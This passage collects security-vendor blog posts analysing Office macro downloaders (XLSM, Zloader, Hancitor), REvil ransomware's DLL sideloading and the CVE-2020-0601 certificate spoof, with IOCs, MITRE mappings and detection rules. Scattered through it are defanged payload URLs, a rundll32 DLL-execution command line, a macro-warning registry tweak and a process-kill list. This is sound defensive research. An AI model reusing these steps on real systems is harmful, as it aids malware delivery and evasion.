<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures. 

When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below. 

Figure-8: Final De-Obfuscated strings from the file
Figure-8: Final De-Obfuscated strings from the file

Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc. 

Coverage and prevention guidance: 

McAfee’s Endpoint products detect this variant of malware as below: 

The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files. 

Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern. 

Rule { 

    Process { 

        Include OBJECT_NAME { -v “EXCEL.exe” } 

    } 

Target { 

        Match PROCESS { 

            Include OBJECT_NAME { -v “rundll32.exe” } 

                      Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }  

                            Include -access “CREATE” 

         } 

  } 

} 

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat. 

Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform. 

  • T1064(Scripting): Use of Excel 4.0 macros and different excel formulas to download the malicious payload. 
  • Defense Evasion (T1218.011): Execution of Signed binary to abuse Rundll32.exe and proxy executes the malicious code is observed in this Qakbot variant.  
  • Defense Evasion (T1562.001): Office file tries to convince a victim to disable security features by using a clean-looking image. 
  • Command and Control(T1071): Use of Application Layer Protocol HTTP to connect to the web and then downloads the malicious payload. 

Conclusion 

XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc. 

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose. 

The post XLSM Malware with MacroSheets appeared first on McAfee Blogs.

REvil Ransomware Uses DLL Sideloading

16 July 2021 at 16:49

This blog was written byVaradharajan Krishnasamy, Karthickkumar, Sakshi Jaiswal

Introduction

Ransomware attacks are one of the most common cyber-attacks among organizations; due to an increase in Ransomware-as-a-service (RaaS) on the black market. RaaS provides readily available ransomware to cyber criminals and is an effective way for attackers to deploy a variety of ransomware in a short period of time.

Usually, RaaS model developers sell or rent their sophisticated ransomware framework on the black market. After purchasing the license from the ransomware developer, attackers spread the ransomware to other users, infect them, encrypt files, and demand a huge ransom payment in Bitcoin.  Also, there are discounts available on the black market for ransomware frameworks in which the ransom money paid is shared between developers and the buyer for every successful extortion of ransom from the victims. These frameworks reduce the time and effort of creating a new ransomware from scratch using latest and advanced programming languages.

REvil is one of the most famous ransomware-as-a-service (RaaS) providers. The group released the Sodinokibi ransomware in 2019, and McAfee has since observed REvil using a DLL side loading technique to execute ransomware code. The actual ransomware is a dropper that contains two embedded PE files in the resource section.  After successful execution, it drops two additional files named MsMpEng.exe and MpSvc.dll in the temp folder. The file MsMpEng.exe is a Microsoft digitally signed file having a timestamp of March 2014 (Figure 1).

Figure-1: Image of Microsoft Digitally signed File

DLL SIDE LOADING

The malware uses DLL side loading to execute the ransomware code. This technique allows the attacker to execute malicious DLLs that spoof legitimate ones. This technique has been used in many APTs to avoid detection. In this attack, MsMpEng.exe loads the functions of MpSvc.dll during the time of execution. However, the attacker has replaced the clean MpSvc.dll with the ransomware binary of the same name. The malicious DLL file has an export function named ServiceCrtMain, which is further called and executed by the Microsoft Defender file. This is a clever technique used by the attacker to execute malicious file using the Microsoft digitally signed binary.

Figure-2: Calling Export function

PAYLOAD ANALYSIS

The ransomware uses the RC4 algorithm to decrypt the config file which has all the information that supports the encryption process.

Figure-3: REvil Config File

Then it performs a UI language check using GetSystemDefaultUILanguage/GetUserDefaultUILanguage functions and compares it with a hardcoded list which contains the language ID of several countries as shown in below image.

Figure-4: Language Check

Countries excluded from this ransomware attack are mentioned below:

GetUserDefaultUILanguage Country name
0x419 Russian
0x422 Ukranian
0x423 Belarusian
0x428 Tajik (Cyrilic from Tajikistan)
0x42B Armenian
0x42C Azerbaijani (Latin from Azerbaijan)
0x437 Georgian
0x43F Kazakh from Kazakhastan
0x440 Kyrgyzstan
0x442 Turkmenistan
0x443 Latin from Uzbekistan
0x444 Tatar from Russia Federation
0x818 Romanian from Moldova
0x819 Russian from Moldova
0x82C Cyrilic from Azerbaijan
0x843 Cyrilic from Uzbekistan
0x45A Syriac
0x281A Cyrilic from Serbia

 

Additionally, the ransomware checks the users keyboardlayout and it skips the ransomware infection in the machine’s which are present in the country list above.

Figure-5: Keyboardlayout check

Ransomware creates a Global mutex in the infected machine to mark its presence.

Figure-6: Global Mutex

After creating the mutex, the ransomware deletes the files in the recycle bin using the SHEmptyRecycleBinW function to make sure that no files are restored post encryption.

Figure-7: Empty Recycle Bin

Then it enumerates all the active services with the help of the EnumServicesStatusExW function and deletes services if the service name matches the list present in the config file. The image below shows the list of services checked by the ransomware.

Figure-8: Service List check

It calls the CreateToolhelp32Snapshot, Process32FirstW and Process32NextW functions to enumerate running processes and terminates those matching the list present in the config file.  The following processes will be terminated.

  • allegro
  • steam
  • xtop
  • ocssd
  • xfssvccon
  • onenote
  • isqlplussvc
  • msaccess
  • powerpnt
  • cad
  • sqbcoreservic
  • thunderbird
  • oracle
  • infopath
  • dbeng50
  • pro_comm_msg
  • agntsvc
  • thebat
  • firefox
  • ocautoupds
  • winword
  • synctime
  • tbirdconfig
  • mspub
  • visio
  • sql
  • ocomm
  • orcad
  • mydesktopserv
  • dbsnmp
  • outlook
  • cadence
  • excel
  • wordpad
  • creoagent
  • encsvc
  • mydesktopqos

 

Then, it encrypts files using the Salsa20 algorithm and uses multithreading for fast encryption of the files. Later, background wallpaper will be set with a ransom message.

Figure-9: Desktop Wallpaper

Finally, the ransomware displays ransom notes in the victim’s machine. Below is an image of readme.txt which is dropped in the infected machine.

Figure-10: Ransom Note

IOCs and Coverage

Type Value Detection Name Detection Package Version (V3)
Loader 5a97a50e45e64db41049fd88a75f2dd2 REvil.f 4493
Dropped DLL 78066a1c4e075941272a86d4a8e49471 REvil.e 4493

 

Expert rules allow McAfee customers to extend their coverage. This rule covers this REvil ransomware behaviour.

MITRE

Technique ID Tactic Technique Details
T1059.003 Execution Command and Scripting Interpreter
T1574.002 DLL Side-Loading Hijack Execution Flow
T1486 Impact Data Encrypted for Impact
T1036.005 Defense Evasion Masquerading
T1057 Discovery Process Discovery
T1082 Discovery System Information Discovery

Conclusion

McAfee observed that the REvil group has utilized oracle web logic vulnerability (CVE-2019-2725) to spread the ransomware last year and used kaseya’s VSA application recently for their ransomware execution, with the help of DLL sideloading. REvil uses many vulnerability applications for ransomware infections, however the encryption technique remains the same. McAfee recommends making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.

The post REvil Ransomware Uses DLL Sideloading appeared first on McAfee Blogs.

Hancitor Making Use of Cookies to Prevent URL Scraping

8 July 2021 at 22:15
Consejos para protegerte de quienes intentan hackear tus correos electrónicos

This blog was written by Vallabh Chole & Oliver Devane

Over the years, the cybersecurity industry has seen many threats get taken down, such as the Emotet takedown in January 2021. It doesn’t usually take long for another threat to attempt to fill the gap left by the takedown. Hancitor is one such threat.

Like Emotet, Hancitor can send Malspams to spread itself and infect as many users as possible. Hancitor’s main purpose is to distribute other malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware and Zeppelin Ransomware. The dropped Cobalt Strike beacons can then be used to move laterally around the infected environment and also execute other malware such as ransomware.

This blog will focus on a new technique used by Hancitor created to prevent crawlers from accessing malicious documents used to download and execute the Hancitor payload.

The infection flow of Hancitor is shown below:

A victim will receive an email with a fake DocuSign template to entice them to click a link. This link leads him to feedproxy.google.com, a service that works similar to an RSS Feed and enables site owners to publish site updates to its users.

When accessing the link, the victim is redirected to the malicious site. The site will check the User-Agent of the browser and if it is a non-Windows User-Agent the victim will be redirected to google.com.

If the victim is on a windows machine, the malicious site will create a cookie using JavaScript and then reload the site.

The code to create the cookie is shown below:

The above code will write the Timezone to value ‘n’ and the time offset to UTC in value ‘d’ and set it into cookie header for an HTTP GET Request.

For example, if this code is executed on a machine with timezone set as BST the values would be:

d = 60

n = “Europe/London”

These values may be used to prevent further malicious activity or deploy a different payload depending on geo location.

Upon reloading, the site will check if the cookie is present and if it is, it will present them with the malicious document.

A WireShark capture of the malicious document which includes the cookie values is shown below:

The document will prompt them to enable macros and, when enabled, it will download the Hancitor DLL and then load it with Rundll32.

Hancitor will then communicate with its C&C and deploy further payloads. If running on a Windows domain, it will download and deploy a Cobalt Strike beacon.

Hancitor will also deploy SendSafe which is a spam module, and this will be used to send out malicious spam emails to infect more victims.

Conclusion

With its ability to send malicious spam emails and deploy Cobalt Strike beacons, we believe that Hancitor will be a threat closely linked to future ransomware attacks much like Emotet was. This threat also highlights the importance of constantly monitoring the threat landscape so that we can react quickly to evolving threats and protect our customers from them.

IOCs, Coverage, and MITRE

IOCs

IOC Type IOC Coverage Content Version
Malicious Document SHA256 e389a71dc450ab4077f5a23a8f798b89e4be65373d2958b0b0b517de43d06e3b W97M/Dropper.hx

 

4641
Hancitor DLL SHA256 c703924acdb199914cb585f5ecc6b18426b1a730f67d0f2606afbd38f8132ad6

 

Trojan-Hancitor.a 4644
Domain hosting Malicious Document URL http[:]//onyx-food[.]com/coccus.php RED N/A
Domain hosting Malicious Document

 

URL http[:]//feedproxy[.]google[.]com/~r/ugyxcjt/~3/4gu1Lcmj09U/coccus.php RED N/A

Mitre

Technique ID Tactic Technique details
T1566.002 Initial Access Spam mail with links
T1204.001 Execution User Execution by opening link.
T1204.002 Execution Executing downloaded doc
T1218 Defence Evasion Signed Binary Execution Rundll32
T1055 Defence Evasion Downloaded binaries are injected into svchost for execution
T1482 Discovery Domain Trust Discovery
T1071 C&C HTTP protocol for communication
T1132 C&C Data is base64 encoded and xored

 

 

The post Hancitor Making Use of Cookies to Prevent URL Scraping appeared first on McAfee Blogs.

Zloader With a New Infection Technique

8 July 2021 at 21:44

This blog was written by Kiran Raj & Kishan N.

Introduction

In the last few years, Microsoft Office macro malware using social engineering as a means for malware infection has been a dominant part of the threat landscape. Malware authors continue to evolve their techniques to evade detection. These techniques involve utilizing macro obfuscation, DDE, living off the land tools (LOLBAS), and even utilizing legacy supported XLS formats.

McAfee Labs has discovered a new technique that downloads and executes malicious DLLs (Zloader) without any malicious code present in the initial spammed attachment macro. The objective of this blog is to cover the technical aspect of the newly observed technique.

Infection map

Threat Summary

  • The initial attack vector is a phishing email with a Microsoft Word document attachment.
  • Upon opening the document, a password-protected Microsoft Excel file is downloaded from a remote server.
  • The Word document Visual Basic for Applications (VBA) reads the cell contents of the downloaded XLS file and writes into the XLS VBA as macros.
  • Once the macros are written to the downloaded XLS file, the Word document sets the policy in the registry to Disable Excel Macro Warning and calls the malicious macro function dynamically from the Excel file,
  • This results in the downloading of the Zloader payload. The Zloader payload is then executed by rundll32.exe.

The section below contains the detailed technical analysis of this technique.

Detailed Technical Analysis

Infection Chain

The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, the Word document, in turn, downloads and opens another password-protected Microsoft Excel document.

After downloading the XLS file, the Word VBA reads the cell contents from XLS and creates a new macro for the same XLS file and writes the cell contents to XLS VBA macros as functions.

Once the macros are written and ready, the Word document sets the policy in the registry to Disable Excel Macro Warning and invokes the malicious macro function from the Excel file. The Excel file now downloads the Zloader payload. The Zloader payload is then executed using rundll32.exe.

Figure-1: flowchart of the Infection chain

Word Analysis

Here is how the face of the document looks when we open the document (figure 2). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

Figure-2: Image of Word Document Face

The userform combo-box components present in the Word document stores all the content required to connect to the remote Excel document including the Excel object, URL, and the password required to open the Excel document. The URL is stored in the Combobox in the form of broken strings which will be later concatenated to form a complete clear string.

Figure-3: URL components (right side) and the password to open downloaded Excel document (“i5x0wbqe81s”) present in user-form components.

VBA Macro Analysis of Word Document

Figure-4: Image of the VBA editor

In the above image of macros (figure 4), the code is attempting to download and open the Excel file stored in the malicious domain. Firstly, it creates an Excel application object by using CreateObject() function and reading the string from Combobox-1 (ref figure-2) of Userform-1 which has the string “excel. Application” stored in it. After creating the object, it uses the same object to open the Excel file directly from the malicious URL along with the password without saving the file on the disk by using Workbooks.Open() function.

Figure-5: Word Macro code that reads strings present in random cells in Excel sheet.

 

The above snippet (figure 5) shows part of the macro code that is reading the strings from the Excel cells.

For Example:

Ixbq = ifk.sheets(3).Cells(44,42).Value

The code is storing the string present in sheet number 3 and the cell location (44,42) into the variable “ixbq”. The Excel.Application object that is assigned to variable “ifk” is used to access sheets and cells from the Excel file that is opened from the malicious domain.

In the below snippet (figure 6), we can observe the strings stored in the variables after being read from the cells. We can observe that it has string related to the registry entry “HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM” that is used to disable trust access for VBA into Excel and the string “Auto_Open3” that is going to be the entry point of the Excel macro execution.

We can also see the strings “ThisWorkbook”, “REG_DWORD”, “Version”, “ActiveVBProject” and few random functions as well like “Function c4r40() c4r40=1 End Function”. These macro codes cannot be detected using static detection since the content is formed dynamically on run time.

Figure-6: Value of variables after reading Excel cells.

After extracting the contents from the Excel cells, the parent Word file creates a new VBA module in the downloaded Excel file by writing the retrieved contents. Basically, the parent Word document is retrieving the cell contents and writing them to XLS macros.

Once the macro is formed and ready, it modifies the below RegKey to disable trust access for VBA on the victim machine to execute the function seamlessly without any Microsoft Office Warnings.

HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM

After writing macro contents to Excel file and disabling the trust access, function ’Auto_Open3()’ from newly written excel VBA will be called which downloads zloader dll from the ‘hxxp://heavenlygem.com/22.php?5PH8Z’ with extension .cpl

Figure-7: Image of ’Auto_Open3()’ function

The downloaded dll is saved in %temp% folder and executed by invoking rundll32.exe.

Figure-8: Image of zloader dll invoked by rundll32.exe

Command-line parameter:

Rundll32.exe shell32.dll,Control_RunDLL “<path downloaded dll>”

Windows Rundll32 commands loads and runs 32-bit DLLs that can be used for directly invoking specified functions or used to create shortcuts. In the above command line, the malware uses “Rundll32.exe shell32.dll,Control_RunDLL” function to invoke control.exe (control panel) and passes the DLL path as a parameter, therefore the downloaded DLL is executed by control.exe.

Excel Document Analysis:

The below image (figure 9) is the face of the password-protected Excel file that is hosted on the server. We can observe random cells storing chunks of strings like “RegDelete”, “ThisWorkbook”, “DeleteLines”, etc.

These strings present in worksheet cells are formed as VBA macro in the later stage.

Figure-9: Image of Remote Excel file.

Coverage and prevention guidance:

McAfee’s Endpoint products detect this variant of malware and files dropped during the infection process.

The main malicious document with SHA256 (210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf) is detected with V3 package version – 4328.0 as “W97M/Downloader.djx”.  The final Zloader payload with SHA-256 (c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2)which is a DLL is detected by signature Zloader-FCVPwith V3 package version – 4327.0

Additionally, with the help of McAfee’s Expert rule feature, customers can strengthen the security by adding custom Expert rules based on the behavior patterns of the malware. The below EP rule is specific to this infection pattern.

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the macro execution for Office files. We advise everyone to read our blog on this new variant of Zloader and its infection cycle to understand more about the threat.

Different techniques & tactics are used by the malware to propagate and we mapped these with the MITRE ATT&CK platform.

  • E-mail Spear Phishing (T1566.001): Phishing acts as the main entry point into the victim’s system where the document comes as an attachment and the user enables the document to execute the malicious macro and cause infection. This mechanism is seen in most of the malware like Emotet, Drixed, Trickbot, Agenttesla, etc.
  • Execution (T1059.005): This is a very common behavior observed when a malicious document is opened. The document contains embedded malicious VBA macros which execute code when the document is opened/closed.
  • Defense Evasion (T1218.011): Execution of signed binary to abuse Rundll32.exe and to proxy execute the malicious code is observed in this Zloader variant. This tactic is now also part of many others like Emotet, Hancitor, Icedid, etc.
  • Defense Evasion (T1562.001): In this tactic, it Disables or Modifies security features in Microsoft Office document by changing the registry keys.

IOC

Type Value Scanner Detection Name Detection Package Version (V3)
Main Word Document 210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf ENS W97M/Downloader.djx 4328
Downloaded dll c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2 ENS Zloader-FCVP 4327
URL to download XLS hxxp://heavenlygem.com/11.php WebAdvisor

 

Blocked N/A
URL to download dll hxxp://heavenlygem.com/22.php?5PH8Z WebAdvisor

 

Blocked N/A

Conclusion

Malicious documents have been an entry point for most malware families and these attacks have been evolving their infection techniques and obfuscation, not just limiting to direct downloads of payload from VBA, but creating agents dynamically to download payload as we discussed in this blog. Usage of such agents in the infection chain is not only limited to Word or Excel, but further threats may use other living off the land tools to download its payloads.

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is safe to enable them only when the document received is from a trusted source.

The post Zloader With a New Infection Technique appeared first on McAfee Blogs.

What CVE-2020-0601 Teaches Us About Microsoft’s TLS Certificate Verification Process

17 January 2020 at 21:25

By: Jan Schnellbächer and Martin Stecher, McAfee Germany GmbH

This week security researches around the world were very busy working on Microsoft’s major crypto-spoofing vulnerability (CVE-2020-0601) otherwise known as Curveball. The majority of research went into attacks with malicious binaries that are signed with a spoofed Certificate Authority (CA) which unpatched Win10 systems would in turn trust. The other attack vector —HTTPS-Server-Certificates— got less attention until Saleem Rashid posted a first working POC on Twitter, followed by Kudelski Security and “Ollypwn” who published more details  on how the Proof-Of-Concepts are created.

McAfee Security experts followed the same approach and were able to  reproduce the attack.  In addition, they confirmed that users  browsing via unpatched Windows-Systems were protected provided their clients were deployed behind McAfee’s Web Gateway or Web Gateway Cloud Service and running the certificate verification policy. This is typically part of the SSL Scanner but is also available as a separate policy even if no SSL inspection should be done (see KB92322 for details).

In our first attempt, we used the spoofed version of a CA from the Windows Root CA Trust store to sign a server certificate and then only provided the server certificate when the HTTPS connection wanted to be established. That attempt failed and we assumed that we did not get the spoofing right. Then we learned that the spoofed CA actually needs to be included together with the server certificate and that chain of certificates is then accepted by an unpatched Windows 10 system.

But why is that? By sending the spoofed version, it becomes obvious that this is not the same certificate that exists in the trust store and should be denied immediately. Also, in the beginning, we tried hard to make the spoofed CA as similar to the original CA as possible (same common name, same serial number, etc.). In fact, we found that none of that plays any role when Windows does the certificate verification.

A good indication of what’s happening behind the scenes, is already provided by Windows’ own certificate information dialogs. We started with the “UserTrust ECC Certificate” in the Windows Trusted Root CA catalog which carries the friendly name “Sectigo ECC”. Then we created a spoofed version of that CA and gave it a new common name “EVIL CA”. With that, it was easy to set up a new test HTTPS server in our test network and manipulate the routing of a test client so that it would reach our server when the user types https://www.google.com into the browser. The test server  was presenting SSL session information for debugging purposes instead of any Google content.

When you click onto the lock symbol, the browser tells you that the connection has been accepted as valid and trusted and that the original “Sectigo ECC” root CA  had signed the server certificate.

But we know that this was not the case, and in contrast to our own original assumptions, Windows did not even verify the server certificate against the “Sectigo ECC. It compared it against the included spoofed CA. That can be seen, when you do another click to “View certificates”:

As the screenshot shows, we are still in the same SSL session (the master key is the same on both pictures), but now Windows is showing that the (correct) issuer of the server certificate is our spoofed “EVIL CA”.

Windows’ cryptographic signature verification works correctly

The good news is that Windows does not really have an issue with the cryptographic functions to validate the signature of an elliptic curve certificate! That verification works correctly. The problem is how the trust chain comparison is done to prove that the chain of signatures is correctly ending in the catalog of trusted root CAs.

We assumed that an attack would use a signing CA that points to an entry in the trusted Root CA store and verification of the signature would be limited so that the signature would be accepted although it was not signed with that original CA but a spoofed CA. But in fact, Windows is validating the embedded certificate chain — which is perfectly valid and cryptographically correct— and then matches the signing certificate with the entries in the trusted Root CA store. This last piece is what has not been done correctly (prior to the system patch).

Our tests revealed that Windows does not even try to match the certificates. It only matches the public key of the certificates (and a few more comparisons and checks) – making the comparison incomplete. That was the actual bug of this vulnerability (at least as web site certificates are concerned).

The Trusted Certificate Store is actually a Trusted Public Key Store

When we talk about the trust chain in SSL/TLS communication, we mean a chain of certificates that are signed by a CA until we reach a trusted Root CA. But Microsoft appears to ignore the certificates for the most part and manages a chain of the public keys of certificates. The comparison is also comparing the algorithm. At a time where only RSA certificates were used, that was sufficient. It was not possible for an attacker to create his own key pair with the same public key as the trusted certificate. With the introduction of Elliptic Curve Cryptography (ECC), Microsoft’s comparison of only the algorithm and the public key is failing. It is failing to also compare the characteristics of the elliptic curve itself. Without this additional parameter, it simply creates the same public key (curve point) again on a different curve. This is what was fixed on Patch-Tuesday — the comparison of the public key information now includes the curve characteristics.

This screenshot shows that the original certificate on the right side and the spoofed CA on the left are very different. Different common name, and a totally different elliptic curve (a standard curve for the original CA and a handcrafted for the spoofed version), but the signature seen under the “pub” entry is identical. That has been sufficient to make Windows believe that the embedded spoofed CA was the same as the trusted CA in the certificate store.

Why not comparing certificates by name or serial number?

A different (and maybe more natural) algorithm is to compare certificates by their common name and/or their serial number and whenever you have a match, continue the trust chain and verification with the certificate in the trust store. Why is Windows comparing public keys instead? We can only speculate but the advantage might be for Enterprises who want to swap their certificates without rolling out new root CAs to all client computers. Imagine an organization that maintains its own PKI and installs its own Root CA in the store of trusted certificates. When these companies go through mergers and acquisitions and the company name may change. This would be a good time to also change the common name of your signing certificate. However, if you do not have a good way to remote maintain all clients and update the certificate in the trusted store, it is easier to tell the Cooperation to use the original key pair of public and private keys and create a new certificate with that same key pair. The new cert will still match the old cert and no other client update is necessary. Convenient! But Is it secure? At this point it is not really a chain of trusted certificates but a chain of trusted public keys.

We tested whether this could also be mis-used to create a new cert when the old one has expired but that is not the case. After comparing the public keys, Windows is still using the expiration date of the certificate in the trusted store to determine whether the chain is still valid, which is good.

How to harden the process?

The root problem of this approach is that the complete cryptographic verification happens with the embedded certificates and only after verification the match against the entry in the trusted Root CAs store is done. That always has room for oversights and incomplete matching algorithms as we have seen with this vulnerability. A safe approach is to first match the certificates (or public keys), find the corresponding entry in the Trusted Root CA store and then use that trusted certificate to continue the signature verification. That way, the verification fails on the safe side and broken chains can be identified easily.

We do not know whether that has been changed with the patched Windows version or if only the matching algorithm has been improved. If not, we recommend reviewing this alternative approach and further hardening the implementation in the operating system and browser.

The post What CVE-2020-0601 Teaches Us About Microsoft’s TLS Certificate Verification Process appeared first on McAfee Blogs.

McAfee Labs 2020 Threats Predictions Report

5 December 2019 at 05:01

With 2019’s headlines of ransomware, malware, and RDP attacks almost behind us, we shift our focus to the cybercrime threats ahead. Cybercriminals are increasing the complexity and volume of their attacks and campaigns, always looking for ways to stay one step ahead of cybersecurity practices – and more often using the world’s evolving technology against us.

Continuing advancements in artificial intelligence and machine learning have led to invaluable technological gains, but threat actors are also learning to leverage AI and ML in increasingly sinister ways. AI technology has extended the capabilities of producing convincing deepfake video to a less-skilled class of threat actor attempting to manipulate individual and public opinion. AI-driven facial recognition, a growing security asset, is also being used to produce deepfake media capable of fooling humans and machines.

Our researchers also foresee more threat actors targeting corporate networks to exfiltrate corporate information in two-stage ransomware campaigns.

With more and more enterprises adopting cloud services to accelerate their business and promote collaboration, the need for cloud security is greater than ever. As a result, the number of organizations prioritizing the adoption container technologies will likely continue to increase in 2020. Which products will they rely on to help reduce container-related risk and accelerate DevSecOps?

The increased adoption of robotic process automation and the growing importance to secure system accounts used for automation raises security concerns tied to Application Programming Interface (API) and their wealth of personal data.

The threatscape of 2020 and beyond promises to be interesting for the cybersecurity community.

–Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research

Twitter @Raj_Samani

Predictions

Broader Deepfakes Capabilities for Less-Skilled Threat Actors

Adversaries to Generate Deepfakes to Bypass Facial Recognition

Ransomware Attacks to Morph into Two-Stage Extortion Campaigns

Application Programming Interfaces (API) Will be Exposed as The Weakest Link Leading to Cloud-Native Threats

DevSecOps Will Rise to Prominence as Growth in Containerized Workloads Causes Security Controls to ‘Shift Left’

Broader Deepfakes Capabilities for Less-skilled Threat Actors

By Steve Grobman

The ability to create manipulated content is not new. Manipulated images were used as far back as World War II in campaigns designed to make people believe things that weren’t true. What’s changed with the advances in artificial intelligence is you can now build a very convincing deepfake without being an expert in technology. There are websites set up where you can upload a video and receive in return, a deepfake video. There are very compelling capabilities in the public domain that can deliver both deepfake audio and video abilities to hundreds of thousands of potential threats actors with the skills to create persuasive phony content.

Deepfake video or text can be weaponized to enhance information warfare. Freely available video of public comments can be used to train a machine-learning model that can develop a deepfake video depicting one person’s words coming out of another’s mouth. Attackers can now create automated, targeted content to increase the probability that an individual or groups fall for a campaign. In this way, AI and machine learning can be combined to create massive chaos.

In general, adversaries are going to use the best technology to accomplish their goals, so if we think about nation-state actors attempting to manipulate an election, using deepfake video to manipulate an audience makes a lot of sense. Adversaries will try to create wedges and divides in society, or if a cybercriminal can have a CEO make what appears to be a compelling statement that a company missed earnings or that there’s a fatal flaw in a product that’s going to require a massive recall. Such a video can be distributed to manipulate a stock price or enable other financial crimes

We predict the ability of an untrained class to create deepfakes will enhance an increase in quantity of misinformation.

Adversaries to Generate Deepfakes to Bypass Facial Recognition

By Steve Povolny

Computer-based facial recognition, in its earliest forms, has been around since the mid-1960s. While dramatic changes have since taken place, the underlying concept remains: it provides a means for a computer to identify or verify a face. There are many use cases for the technology, most related to authentication and to answer a single question: is this person who they claim to be?

As time moves onwards, the pace of technology has brought increased processing power, memory and storage to facial recognition technology. New products have leveraged facial recognition in innovative ways to simplify everyday life, from unlocking smart phones, to passport ID verification in airports, and even as a law enforcement aid to identify criminals on the street.

One of the most prevalent enhancements to facial recognition is the advancement of artificial intelligence (AI). A recent manifestation of this is deepfakes, an AI-driven technique producing extremely realistic text, images, and videos that are difficult for humans to discern real from fake. Primarily used for the spread of misinformation, the technology leverages capabilities. Generative Adversarial Networks (GANs), a recent analytic technology, that on the downside, can create fake but incredibly realistic images, text, and videos. Enhanced computers can rapidly process numerous biometrics of a face, and mathematically build or classify human features, among many other applications. While the technical benefits are impressive, underlying flaws inherent in all types of models represent a rapidly growing threat, which cyber criminals will look to exploit.

As technologies are adopted over the coming years, a very viable threat vector will emerge, and we predict adversaries will begin to generate deepfakes to bypass facial recognition. It will be critical for businesses to understand the security risks presented by facial recognition and other biometric systems and invest in educating themselves of the risks as well as hardening critical systems.

Ransomware Attacks to Morph into Two-Stage Extortion Campaigns

By John Fokker

In McAfee’s 2019 threat predictions report, we predicted cyber criminals would partner more closely to boost threats; over the course of the year, we observed exactly that. Ransomware groups used pre-infected machines from other malware campaigns, or used remote desktop protocol (RDP) as an initial launch point for their campaign. These types of attacks required collaboration between groups. This partnership drove efficient, targeted attacks which increased profitability and caused more economic damage. In fact,  Europol’s Internet Organised Crime Threat Assessment (IOCTA),  named ransomware the top threat that companies, consumers, and the public sector faced in 2019.

Based on what McAfee Advanced Threat Research (ATR) is seeing in the underground, we expect criminals to exploit their extortion victims even more moving forward. The rise of targeted ransomware created a growing demand for compromised corporate networks. This demand is met by criminals who specialize in penetrating corporate networks and sell complete network access in one-go.

Here are examples of underground ads offering access to businesses:

Figure 1 RDP access to a Canadian factory is being offered

Figure 2 Access to an Asian Food, Consumer and Industrial company being offered

For 2020, we predict the targeted penetration of corporate networks will continue to grow and ultimately give way to two-stage extortion attacks. In the first stage cybercriminals will deliver a crippling ransomware attack, extorting victims to get their files back. In the second stage criminals will target the recovering ransomware victims again with an extortion attack, but this time they will threaten to disclose the sensitive data stolen before the ransomware attack.

During our research on Sodinobiki we observed two-stage attacks, with cryptocurrency miners installed before an actual ransomware attack took place. For 2020, we predict that cybercriminals will increasingly exfiltrate sensitive corporate information prior to a targeted ransomware attack to sell the stolen data online or to extort the victim and increase monetization.

Application Programming Interfaces (API) Will Be Exposed as The Weakest Link Leading to Cloud-Native Threats

By Sekhar Sarukkai

A recent study showed that more than three in four organizations treat API security differently than web app security, indicating API security readiness lags behind other aspects of application security. The study also showed that more than two-thirds of organizations expose APIs to the public to enable partners and external developers to tap into their software platforms and app ecosystems.

APIs are an essential tool in today’s app ecosystem including cloud environments, IoT, microservices, mobile, and Web-based customer-client communications. Dependence on APIs will further accelerate with a growing ecosystem of cloud applications built as reusable components for back-office automation (such as with Robotic Process Automation) and growth in the ecosystem of applications that leverage APIs of cloud services such as Office 365 and Salesforce.

Threat actors are following the growing number of organizations using API-enabled apps because APIs continue to be an easy – and vulnerable – means to access a treasure trove of sensitive data. Despite the fallout of large-scale breaches and ongoing threats, APIs often still reside outside of the application security infrastructure and are ignored by security processes and teams. Vulnerabilities will continue to include broken authorization and authentication functions, excessive data exposure, and a failure to focus on rate limiting and resource limiting attacks. Insecure consumption-based APIs without strict rate limits are among the most vulnerable.

Headlines reporting API-based breaches will continue into 2020, affecting high-profile apps in social media, peer-to-peer, messaging, financial processes, and others, adding to the hundreds of millions of transactions and user profiles that have been scraped in the past two years. The increasing need and hurried pace of organizations adopting APIs for their applications in 2020 will expose API security as the weakest link leading to cloud-native threats, putting user privacy and data at risk until security strategies mature.

